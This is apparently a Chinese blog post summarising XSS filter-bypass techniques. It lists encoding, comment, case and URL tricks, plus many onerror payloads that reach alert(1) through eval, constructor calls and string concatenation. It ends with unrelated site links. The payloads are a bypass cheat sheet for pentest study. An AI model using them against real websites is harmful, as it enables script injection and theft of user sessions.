XSS绕过方法总结

htmlspecialchars():将预定义字符转为实体编码
  • " < > & ' 等字符转为文本型实体编码
常用的xss注入方法
  • <img>标签
  • <a>标签
  • <input>标签
  • 事件触发

    • onmouseover
    • onclick
    • onfocus等
XSS寻找和绕过
  • 找信息交互处;输入信息看回显和页面源码;找输入信息是否存在(判断xss是否存在)
    • 搜索框;留言板等
  • 根据源码分析xss绕过方法

    • 引号闭合
    • 标签闭合
    • 大小写绕过
    • 双写绕过
    • &截断 /#截断
    • %09 %0a %0d / 绕过(针对关键字/空格过滤)
    • ng-include外包文件绕过(DOM中)
      • 引入文件作为当前节点的子节点
    • bp抓包绕过(针对前端限制或隐藏标签)
    • 编码绕过

      • url编码

        • 可以二次url编码;针对%可以一直编码为%25,不断叠加
        • 如w编码是%77;二次编码就是%2577
      • html实体编码

        • 文本型
        • 十进制
        • 十六进制
      • js编码(unicode编码)
    • 注释符绕过
      • html注释有两种

        • <!-- -->
        • <!-- --!>
        • -->可以表示单行注释
    • 古英文符号绕过
      • ſ :表示s的另一种写法;转为大写是S
    • 不完整标签绕过
      • <img src οnerrοr="alert(1)"
    • </style > :中间加空格不影响标签效果
    • 针对url过滤时

      • url编码
      • 使用ip绕过

        • ip十进制
        • ip八进制
        • ip十六进制
        • 使用//代替http://(也可以使用\代替)
      • 使用中文的标点符号代替英文符号进行绕过
        • <img src="x" οnerrοr="document.location=``http://www。baidu。com``">
    • 括号过滤()

      • throw绕过
        • <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
      • 反引号代替`(esc下面的键)
      • 编码绕过
    • 函数(重点)

      • 字符串拼接函数(用法都一样)

        • eval
          • <img src="x" οnerrοr="eval('al'+'ert(1)')">
        • top
          • <img src="x" οnerrοr="top['al'+'ert'](1)">
        • window
        • self
        • parent
        • frames
      • 常用函数

        • <img src="x" οnerrοr="eval(alert(1))">
        • <img src="x" οnerrοr="open(alert(1))">
        • <img src="x" οnerrοr="document.write(alert(1))">
        • <img src="x" οnerrοr="setTimeout(alert(1))">
        • <img src="x" οnerrοr="setInterval(alert(1))">
        • <img src="x" οnerrοr="Set.constructor(alert(1))">
        • <img src="x" οnerrοr="Map.constructor(alert(1))">
        • <img src="x" οnerrοr="Array.constructor(alert(1))">
        • <img src="x" οnerrοr="WeakSet.constructor(alert(1))">
        • <img src="x" οnerrοr="constructor.constructor(alert(1))">
        • <img src="x" οnerrοr="[1].map(alert(1))">
        • <img src="x" οnerrοr="[1].find(alert(1))">
        • <img src="x" οnerrοr="[1].every(alert(1))">
        • <img src="x" οnerrοr="[1].filter(alert(1))">
        • <img src="x" οnerrοr="[1].forEach(alert(1))">
        • <img src="x" οnerrοr="[1].findIndex(alert(1))">
      • 赋值拼接

        • <img src οnerrοr==alert,(1)>
        • <img src x=al y=ert οnerrοr=top[x+y](1)>
        • <img src οnerrοr=top[a='al',b='ev',b+a]('alert(1)')>
        • <img src οnerrοr=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
相关推荐
Zuckjet_3 分钟前
第 7 篇:交互的乐趣 - 响应用户输入
前端·javascript·webgl
我总是词不达意5 分钟前
vue3 + el-upload组件集成阿里云视频点播从本地上传至点播存储
前端·vue.js·阿里云·elementui
用户481178812876 分钟前
求大佬解惑:高度与宽度百分比设置问题
前端
anyup8 分钟前
🔥开源零配置!10 分钟上手:create-uni + uView Pro 快速搭建企业级 uni-app 项目
前端·前端框架·uni-app
帆张芳显10 分钟前
智表 ZCELL 公式引擎,帮你解锁自定义函数与跨表计算的强大能力
前端·javascript
北城以北888825 分钟前
Vue-- Axios 交互(一)
前端·javascript·vue.js
shelutai34 分钟前
实现提供了完整的 Flutter Web 文件上传解决方案
前端·flutter
im_AMBER1 小时前
Web 开发 29
前端·学习·web
前端开发爱好者1 小时前
Vite➕ 收费了!
前端·javascript·vue.js
gplitems1231 小时前
Petslist – Pet listing WordPress Theme Free Download
linux·服务器·前端